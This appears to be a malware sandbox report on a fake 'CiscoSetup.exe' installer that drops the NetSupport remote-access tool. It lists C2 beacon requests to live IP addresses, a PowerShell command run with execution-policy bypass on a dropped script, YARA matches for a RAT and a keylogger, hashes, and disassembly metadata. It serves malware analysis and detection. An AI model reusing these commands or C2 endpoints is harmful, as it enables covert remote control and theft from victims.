0	192.168.2.4	49740	172.67.68.212	80	3052	C:\Users\user\AppData\Roaming\Cisco\client32.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 12:11:33.287374973 CET	118	OUT	GET /location/loca.asp HTTP/1.1 Host: geo.netsupportsoftware.com Connection: Keep-Alive Cache-Control: no-cache
Nov 1, 2024 12:11:34.059222937 CET	798	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 11:11:33 GMT Content-Type: text/html; Charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive CF-Ray: 8dbb71dc48134763-DFW CF-Cache-Status: DYNAMIC Access-Control-Allow-Origin: * Cache-Control: private Set-Cookie: ASPSESSIONIDACBSDDAB=PDPLDFECPAOBJDLAMCMHAFIP; path=/ cf-apo-via: origin,host X-Frame-Options: SAMEORIGIN X-Powered-By: ASP.NET Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=17fL%2BlK%2B83gtAbD1HNwxMOC%2FN78P5c0O0alFgSK3EXL%2B5O%2B1xS%2FWN5R8mX%2FX4ZiX%2F4rlgkCU%2F0JxZbyU135Vg6jarv%2FiXMiJ05wcuJOfvF62sT2hCvHGYWVFCONasNjllTKFT483TqAWYskk"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare Data Raw: 66 0d 0a 33 32 2e 37 37 36 37 2c 2d 39 36 2e 37 39 37 0d 0a 30 0d 0a 0d 0a Data Ascii: f32.7767,-96.7970

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49739	151.236.16.15	443	3052	C:\Users\user\AppData\Roaming\Cisco\client32.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 12:11:33.312225103 CET	218	OUT	POST http://151.236.16.15/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 22Host: 151.236.16.15Connection: Keep-AliveCMD=POLLINFO=1ACK=1 Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49741	199.188.200.195	443	3052	C:\Users\user\AppData\Roaming\Cisco\client32.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 12:11:33.393940926 CET	222	OUT	POST http://199.188.200.195/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 22Host: 199.188.200.195Connection: Keep-AliveCMD=POLLINFO=1ACK=1 Data Raw: Data Ascii:

Target ID:	0
Start time:	07:11:01
Start date:	01/11/2024
Path:	C:\Users\user\Desktop\CiscoSetup.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\CiscoSetup.exe"
Imagebase:	0x6c0000
File size:	16'877'888 bytes
MD5 hash:	91F7229586DF2C577A54AD0D1A5BDCB1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	07:11:02
Start date:	01/11/2024
Path:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp" /SL5="$2041A,13456411,1058304,C:\Users\user\Desktop\CiscoSetup.exe"
Imagebase:	0x480000
File size:	3'548'672 bytes
MD5 hash:	BFD84005E52425F9B8FE658B9663E1C4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Antivirus matches:	Detection: 0%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	07:11:28
Start date:	01/11/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\is-D93RQ.tmp\cispn.ps1"
Imagebase:	0x600000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000005.00000002.2043735068.000000000883E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000005.00000002.1991259471.0000000005259000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000005.00000002.1991259471.0000000005357000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	07:11:28
Start date:	01/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	07:11:31
Start date:	01/11/2024
Path:	C:\Users\user\AppData\Roaming\Cisco\client32.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\Cisco\client32.exe"
Imagebase:	0x400000
File size:	121'304 bytes
MD5 hash:	4F2D0F4A5BA798FA9E85379C7C4BD36E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000007.00000000.1983117246.0000000000404000.00000002.00000001.01000000.0000000A.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000007.00000002.4143550370.00000000685D0000.00000002.00000001.01000000.0000000F.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000007.00000003.2284925440.0000000005207000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000007.00000002.4142059175.0000000002648000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000007.00000002.4141174786.0000000000404000.00000002.00000001.01000000.0000000A.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000007.00000003.2285282850.0000000005226000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	07:11:43
Start date:	01/11/2024
Path:	C:\Users\user\AppData\Roaming\Cisco\client32.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\Cisco\client32.exe"
Imagebase:	0x400000
File size:	121'304 bytes
MD5 hash:	4F2D0F4A5BA798FA9E85379C7C4BD36E
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000008.00000000.2102185097.0000000000404000.00000002.00000001.01000000.0000000A.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000008.00000002.2109302873.000000001118F000.00000002.00000001.01000000.0000000B.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000008.00000002.2109302873.000000001118F000.00000002.00000001.01000000.0000000B.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000008.00000002.2104099900.0000000000404000.00000002.00000001.01000000.0000000A.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000008.00000002.2109384742.00000000111DD000.00000004.00000001.01000000.0000000B.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	07:11:52
Start date:	01/11/2024
Path:	C:\Users\user\AppData\Roaming\Cisco\client32.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\Cisco\client32.exe"
Imagebase:	0x400000
File size:	121'304 bytes
MD5 hash:	4F2D0F4A5BA798FA9E85379C7C4BD36E
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 0000000A.00000002.2190553256.00000000111DD000.00000004.00000001.01000000.0000000B.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 0000000A.00000002.2189669515.0000000000404000.00000002.00000001.01000000.0000000A.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 0000000A.00000000.2183700917.0000000000404000.00000002.00000001.01000000.0000000A.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 0000000A.00000002.2190511917.000000001118F000.00000002.00000001.01000000.0000000B.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 0000000A.00000002.2190511917.000000001118F000.00000002.00000001.01000000.0000000B.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Function 089C3730 Relevance: 9.2, Strings: 7, Instructions: 418COMMON

Download Yara Rule

Strings

Hbq, xrefs: 089C39BC
Hbq, xrefs: 089C3A2B
Te^q, xrefs: 089C3A74
Hbq, xrefs: 089C3865
TJcq, xrefs: 089C3AE7
Hbq, xrefs: 089C39DE
(bq, xrefs: 089C37B8

Memory Dump Source

Source File: 00000005.00000002.2044316660.00000000089C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 089C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_89c0000_powershell.jbxd

Similarity

API ID:
String ID: (bq$Hbq$Hbq$Hbq$Hbq$TJcq$Te^q
API String ID: 0-4020285277
Opcode ID: 47c9f00516091a82c168914e7b064183b6a68d2d7025fd7d807461da7b130b07
Instruction ID: 9f65de243a4d577d2c000a25dd5eef4b8a8efde31947184333aa5039ce2de663
Opcode Fuzzy Hash: 47c9f00516091a82c168914e7b064183b6a68d2d7025fd7d807461da7b130b07
Instruction Fuzzy Hash: F5E1BD30B006818FCB15EF39C45466EBBF6AF89215B18856DD446CF7A1DB36EC0ACB52

Function 07AF07F8 Relevance: 14.1, Strings: 11, Instructions: 373COMMON

Download Yara Rule

Strings

,etq, xrefs: 07AF0AFC
$^q, xrefs: 07AF08AF
$^q, xrefs: 07AF0C4E
$^q, xrefs: 07AF08BB
$^q, xrefs: 07AF0AB4
4'^q, xrefs: 07AF08D2
4'^q, xrefs: 07AF08DE
$^q, xrefs: 07AF0C5A
$^q, xrefs: 07AF0A55
$^q, xrefs: 07AF0AA4
$^q, xrefs: 07AF0893

Memory Dump Source

Source File: 00000005.00000002.2041152780.0000000007AF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7af0000_powershell.jbxd

Similarity

API ID:
String ID: ,etq$4'^q$4'^q$$^q$$^q$$^q$$^q$$^q$$^q$$^q$$^q
API String ID: 0-3347247175
Opcode ID: 9b5304c200d0444898b128d16d114778140fe4e1a5953ea747a16840443dc9af
Instruction ID: abaea4449b17997b951793a62cdd2227bbefe39395ec3e94667cb709b8f1231f
Opcode Fuzzy Hash: 9b5304c200d0444898b128d16d114778140fe4e1a5953ea747a16840443dc9af
Instruction Fuzzy Hash: 99C118B1B002069FCB249FA994446ABBBF2EFC1211F1484AAF6658F257EB31C945C7D1

Function 07AF9020 Relevance: 5.6, Strings: 4, Instructions: 591COMMON

Download Yara Rule

Strings

4'^q, xrefs: 07AF935E
4'^q, xrefs: 07AF94B8
4'^q, xrefs: 07AF94C2
4'^q, xrefs: 07AF9368

Memory Dump Source

Source File: 00000005.00000002.2041152780.0000000007AF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7af0000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$4'^q$4'^q
API String ID: 0-1420252700
Opcode ID: a1c576416e948a13fdbaa83bdd0c61f5789071ac39039ea9beb31ad9827c87f8
Instruction ID: 6f3a59a8233f122989590f732e8551d0c7dfa2e0add46945614e6d6feb7d183c
Opcode Fuzzy Hash: a1c576416e948a13fdbaa83bdd0c61f5789071ac39039ea9beb31ad9827c87f8
Instruction Fuzzy Hash: A7124CB17042568FCB159BA898007AFBBB6AFD1310F14807BE615CF251EF36E945C7A1

Function 07AF6758 Relevance: 4.7, Strings: 3, Instructions: 904COMMON

Download Yara Rule

Strings

$^q, xrefs: 07AF6A1A
$^q, xrefs: 07AF6A26
$^q, xrefs: 07AF69D4

Memory Dump Source

Source File: 00000005.00000002.2041152780.0000000007AF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7af0000_powershell.jbxd

Similarity

API ID:
String ID: $^q$$^q$$^q
API String ID: 0-831282457
Opcode ID: 7a19358a029df84d262d83a010790d24b98239d5c8fad9acb79ebb2cec82a513
Instruction ID: 3b10d267cd8e2e3fa2c138060145e6fbf76d68f51b2d121f7e0d91720904f566
Opcode Fuzzy Hash: 7a19358a029df84d262d83a010790d24b98239d5c8fad9acb79ebb2cec82a513
Instruction Fuzzy Hash: B96207B1B002059FCB159FA8D8406AABBF2AFC5310F1484AAF665CF351EF36D945C7A1

Function 089C8C20 Relevance: 3.3, Strings: 2, Instructions: 845COMMON

Download Yara Rule

Strings

LR^q, xrefs: 089C9595
(Xcq, xrefs: 089C9676

Memory Dump Source

Source File: 00000005.00000002.2044316660.00000000089C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 089C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_89c0000_powershell.jbxd

Similarity

API ID:
String ID: (Xcq$LR^q
API String ID: 0-2856513941
Opcode ID: 857b9a5df909c7a1df25fb92ca62c56e3f4b13e6490940a18bb052f67ed05fb9
Instruction ID: e19b29b77b17256e6eb49b40d551f3bf76a8c5dcadf3731d4dcbe5278aa49e32
Opcode Fuzzy Hash: 857b9a5df909c7a1df25fb92ca62c56e3f4b13e6490940a18bb052f67ed05fb9
Instruction Fuzzy Hash: F5726D34B00218CFDB24DB68C894BAEBBB2BF85305F1181ADD449AB395DB359D85CF52

Function 07AF4D10 Relevance: 2.9, Strings: 2, Instructions: 361COMMON

Download Yara Rule

Strings

4'^q, xrefs: 07AF4DF9
4'^q, xrefs: 07AF4E05

Memory Dump Source

Source File: 00000005.00000002.2041152780.0000000007AF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7af0000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q
API String ID: 0-2697143702
Opcode ID: a83b3ece151c8f7431cde412ee5923e1e259f0a2fd06be6861db7eedbd974a5f
Instruction ID: 4a13b8f6bef7e443d8ee01e89729d7f4734b8871db11b7fa061d6e48b693ca2e
Opcode Fuzzy Hash: a83b3ece151c8f7431cde412ee5923e1e259f0a2fd06be6861db7eedbd974a5f
Instruction Fuzzy Hash: 7AC13CB1F042868FCB259BA8D4006ABBBB1AFC9250F14807BE625CB355EF35C955C7E1

Function 089C82C8 Relevance: 2.6, Strings: 2, Instructions: 108COMMON

Download Yara Rule

Strings

(bq, xrefs: 089C842B
(bq, xrefs: 089C83FF

Memory Dump Source

Source File: 00000005.00000002.2044316660.00000000089C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 089C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_89c0000_powershell.jbxd

Similarity

API ID:
String ID: (bq$(bq
API String ID: 0-4224401849
Opcode ID: 6566c5c5740694a2200b93d370a448859efaf7b39a33b5377d3df5b4a3df56d7
Instruction ID: 22484e396ec06d96b989a1b2f77e9c036b405152c6da240c4a886000190283bf
Opcode Fuzzy Hash: 6566c5c5740694a2200b93d370a448859efaf7b39a33b5377d3df5b4a3df56d7
Instruction Fuzzy Hash: 3131F330B04255DFCB19AF68D4587AEBBB6EF88312F14442ED406ABB81CF755D02CB82

Function 07AF3A63 Relevance: 2.6, Strings: 2, Instructions: 77COMMON

Download Yara Rule

Strings

$^q, xrefs: 07AF3B36
$^q, xrefs: 07AF3B42

Memory Dump Source

Source File: 00000005.00000002.2041152780.0000000007AF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7af0000_powershell.jbxd

Similarity

API ID:
String ID: $^q$$^q
API String ID: 0-355816377
Opcode ID: e9526dd96472ccea9e4d88a1b6b5698741f146c578a8cee076d7acecefc0beb6
Instruction ID: 1815f7b1de10601b93f30166ca3bbed3aa9c1c13876e4c6edab41bf6eefcb657
Opcode Fuzzy Hash: e9526dd96472ccea9e4d88a1b6b5698741f146c578a8cee076d7acecefc0beb6
Instruction Fuzzy Hash: 0A2127716097858FCB335BA85C20186BF719F83A207154A9BE290CF6E6C6359C49C7D3

Function 089C3C80 Relevance: 1.5, Strings: 1, Instructions: 250COMMON

Download Yara Rule

Strings

nFAOvoeFFFdVyzFvDLwOvkKyT+N1sqZVqIn/UYjjkiNlQCMOvJIRjZsnBJe5A5iEhIWAviAquMvaCwxkrbbebTGSSFeTQbBVucEWT64uFuvPn3nO/d8vmzasCA6qrqxgAL, xrefs: 089C3CC5

Memory Dump Source

Source File: 00000005.00000002.2044316660.00000000089C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 089C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_89c0000_powershell.jbxd

Similarity

API ID:
String ID: nFAOvoeFFFdVyzFvDLwOvkKyT+N1sqZVqIn/UYjjkiNlQCMOvJIRjZsnBJe5A5iEhIWAviAquMvaCwxkrbbebTGSSFeTQbBVucEWT64uFuvPn3nO/d8vmzasCA6qrqxgAL
API String ID: 0-4113718021
Opcode ID: 6f3b25745ecf9972bb7680e38149e194174f5ac0947a2c26f124f6152b587d5d
Instruction ID: aac7f6fcf08ce50b6bdb6a4e3b38366c44715bbe8da177760736cf6d34e3c89c
Opcode Fuzzy Hash: 6f3b25745ecf9972bb7680e38149e194174f5ac0947a2c26f124f6152b587d5d
Instruction Fuzzy Hash: DB91CC38B007158BCB24EFB8D05846EB7F6EF89721B208A1CD4129BB94DF35EC028B55

Function 089C3C90 Relevance: 1.5, Strings: 1, Instructions: 241COMMON

Download Yara Rule

Strings

nFAOvoeFFFdVyzFvDLwOvkKyT+N1sqZVqIn/UYjjkiNlQCMOvJIRjZsnBJe5A5iEhIWAviAquMvaCwxkrbbebTGSSFeTQbBVucEWT64uFuvPn3nO/d8vmzasCA6qrqxgAL, xrefs: 089C3CC5

Memory Dump Source

Source File: 00000005.00000002.2044316660.00000000089C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 089C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_89c0000_powershell.jbxd

Similarity

API ID:
String ID: nFAOvoeFFFdVyzFvDLwOvkKyT+N1sqZVqIn/UYjjkiNlQCMOvJIRjZsnBJe5A5iEhIWAviAquMvaCwxkrbbebTGSSFeTQbBVucEWT64uFuvPn3nO/d8vmzasCA6qrqxgAL
API String ID: 0-4113718021
Opcode ID: f17563276c7733729a9b343a53615a840222f9278ff73920c6fe2bc8b050cc63
Instruction ID: 5959eadf562213e1a286256e4e4e9ab0100ca683f31f77e7b71abc007f0d84df
Opcode Fuzzy Hash: f17563276c7733729a9b343a53615a840222f9278ff73920c6fe2bc8b050cc63
Instruction Fuzzy Hash: 1591BC38B007158BCB24EFB9D05856EB7F6EF88721B608A1CD4129BB94DF35EC028B55

Function 089C4180 Relevance: 1.4, Strings: 1, Instructions: 127COMMON

Download Yara Rule

Strings

nFAOvoeFFFdVyzFvDLwOvkKyT+N1sqZVqIn/UYjjkiNlQCMOvJIRjZsnBJe5A5iEhIWAviAquMvaCwxkrbbebTGSSFeTQbBVucEWT64uFuvPn3nO/d8vmzasCA6qrqxgAL, xrefs: 089C422F, 089C423D

Memory Dump Source

Source File: 00000005.00000002.2044316660.00000000089C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 089C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_89c0000_powershell.jbxd

Similarity

API ID:
String ID: nFAOvoeFFFdVyzFvDLwOvkKyT+N1sqZVqIn/UYjjkiNlQCMOvJIRjZsnBJe5A5iEhIWAviAquMvaCwxkrbbebTGSSFeTQbBVucEWT64uFuvPn3nO/d8vmzasCA6qrqxgAL
API String ID: 0-4113718021
Opcode ID: 1eb107b17f1303733e04fb37a3a2ca757c74eecf12dcda1ebaafe502bf4523f0
Instruction ID: 34865f33a0b446283af178dcc66251536a63aab6da34e7be4caa66e2e726f3e5
Opcode Fuzzy Hash: 1eb107b17f1303733e04fb37a3a2ca757c74eecf12dcda1ebaafe502bf4523f0
Instruction Fuzzy Hash: AE4177757206508FC714DF39D89885ABBF9FF8A62431681AEE809CB372DB71DC048B90

Function 07AF4CF3 Relevance: 1.3, Strings: 1, Instructions: 94COMMON

Download Yara Rule

Strings

4'^q, xrefs: 07AF4DF9

Memory Dump Source

Source File: 00000005.00000002.2041152780.0000000007AF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7af0000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q
API String ID: 0-1614139903
Opcode ID: 9668546f9f3dae5ece4d0e625571e3cc1cee0c9a0bcc90296cf56223bb6b1ae2
Instruction ID: 0471fa4c9c1abe698b21b220edadf8a4fbe4cf6fed4133167e3c7121ec7e96c5
Opcode Fuzzy Hash: 9668546f9f3dae5ece4d0e625571e3cc1cee0c9a0bcc90296cf56223bb6b1ae2
Instruction Fuzzy Hash: E63129F5615383DFCB615B68C4003B7BBB19B89650F0440A7E730CB296EB35C651C7A1

Function 089C83FE Relevance: 1.3, Strings: 1, Instructions: 55COMMON

Download Yara Rule

Strings

(bq, xrefs: 089C842B

Memory Dump Source

Source File: 00000005.00000002.2044316660.00000000089C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 089C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_89c0000_powershell.jbxd

Similarity

API ID:
String ID: (bq
API String ID: 0-149360118
Opcode ID: 2eadcbf601a95f35a46bc4412fc67cc16c6be99f63798c6f2e5a6f1ab303373c
Instruction ID: 30eb45c1a50f1fccbd958634ac1186cf61492a828c056edd97123e756f7e02cc
Opcode Fuzzy Hash: 2eadcbf601a95f35a46bc4412fc67cc16c6be99f63798c6f2e5a6f1ab303373c
Instruction Fuzzy Hash: 3101D6357085608FCB0A7F78A41416E7BE6DBC5362724446ED107D7F82CF398D028796

Function 089C41F8 Relevance: 1.3, Strings: 1, Instructions: 31COMMON

Download Yara Rule

Strings

nFAOvoeFFFdVyzFvDLwOvkKyT+N1sqZVqIn/UYjjkiNlQCMOvJIRjZsnBJe5A5iEhIWAviAquMvaCwxkrbbebTGSSFeTQbBVucEWT64uFuvPn3nO/d8vmzasCA6qrqxgAL, xrefs: 089C422F

Memory Dump Source

Source File: 00000005.00000002.2044316660.00000000089C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 089C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_89c0000_powershell.jbxd

Similarity

API ID:
String ID: nFAOvoeFFFdVyzFvDLwOvkKyT+N1sqZVqIn/UYjjkiNlQCMOvJIRjZsnBJe5A5iEhIWAviAquMvaCwxkrbbebTGSSFeTQbBVucEWT64uFuvPn3nO/d8vmzasCA6qrqxgAL
API String ID: 0-4113718021
Opcode ID: 71cf4cfe617b5ad75a9c86f9d221b5e33b338272d4f4ba126dd588cc5793fb45
Instruction ID: 6483188ef55243c80472e644f67f6a1bb01879953895a5f7a292072c261046b3
Opcode Fuzzy Hash: 71cf4cfe617b5ad75a9c86f9d221b5e33b338272d4f4ba126dd588cc5793fb45
Instruction Fuzzy Hash: B1F0A732A297851FC3158B6A9894499FFE9AED7224319439FE018C7522D75148808350

Function 089C7A08 Relevance: .4, Instructions: 364COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2044316660.00000000089C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 089C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_89c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f1ab48a47ff55ab6387c1fad9b791b942447c962287b834c1350e85e959e7034
Instruction ID: 158769b2384b970ec34a5b45db5d50488c86b322f6c8d809adecaf788d0a2be5
Opcode Fuzzy Hash: f1ab48a47ff55ab6387c1fad9b791b942447c962287b834c1350e85e959e7034
Instruction Fuzzy Hash: 9BF11974A00209EFCB15DF9CD584AADBBB6EF88314F248559E805AB365C732ED81CF91

Function 034572C0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1990798125.0000000003450000.00000040.00000800.00020000.00000000.sdmp, Offset: 03450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3450000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b6626be8f46da81a4fbeeea4b33000c3b7cddb533f6b5f0fb163548919207c15
Instruction ID: 5cee33bd0f9b8d64224828d7bbaca3b720bffb2cd8e1f67d579b5aa3f682eb38
Opcode Fuzzy Hash: b6626be8f46da81a4fbeeea4b33000c3b7cddb533f6b5f0fb163548919207c15
Instruction Fuzzy Hash: 2BA15F34E012449FCB15DFA8D4849AEBFF2FF89210B1984AAE845AF362C735ED45CB54

Function 03452AA8 Relevance: .2, Instructions: 210COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1990798125.0000000003450000.00000040.00000800.00020000.00000000.sdmp, Offset: 03450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3450000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8bb2e2320859716f89d559dbff3da856e5223d6078613ea1179047e61cb88dd9
Instruction ID: 7bb6c25697a7793f1c3bd33800685c3d8e392296157fa974a79084cadcbddb13
Opcode Fuzzy Hash: 8bb2e2320859716f89d559dbff3da856e5223d6078613ea1179047e61cb88dd9
Instruction Fuzzy Hash: DD917B74E002498FCB15CF59C5949AEFBB1FF88310B24899AE815AB366D736FC50CB94

Function 0345D4C0 Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1990798125.0000000003450000.00000040.00000800.00020000.00000000.sdmp, Offset: 03450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3450000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2aa8e38153ff7a65e3aba0c6cdb9fed1597adf6a0110f253be3dd6ca591bd5b6
Instruction ID: b6526057ef34a6e34339e7ef99c9fee49b152292ff3364acae731069788021bf
Opcode Fuzzy Hash: 2aa8e38153ff7a65e3aba0c6cdb9fed1597adf6a0110f253be3dd6ca591bd5b6
Instruction Fuzzy Hash: BA815D34E002049FDB14EF78D495AAEBBF2BF8A305F14856DE416AB361DB35AC46CB50

Function 089C4555 Relevance: .2, Instructions: 199COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2044316660.00000000089C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 089C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_89c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f548aec23e9438c15857228b4d3e27f65dd2b04eca7090785a3be60534f36442
Instruction ID: 29c4e818914ae758f44a145b149b8218f128a8f31662a51a699dcc22085b71aa
Opcode Fuzzy Hash: f548aec23e9438c15857228b4d3e27f65dd2b04eca7090785a3be60534f36442
Instruction Fuzzy Hash: EF01F731308B90CFC717DB68D4546AA7FA4EF52319B0804AEC49687A52D726D807C796

Function 0345D470 Relevance: .2, Instructions: 196COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1990798125.0000000003450000.00000040.00000800.00020000.00000000.sdmp, Offset: 03450000, based on PE: false

Joe Sandbox IDA Plugin

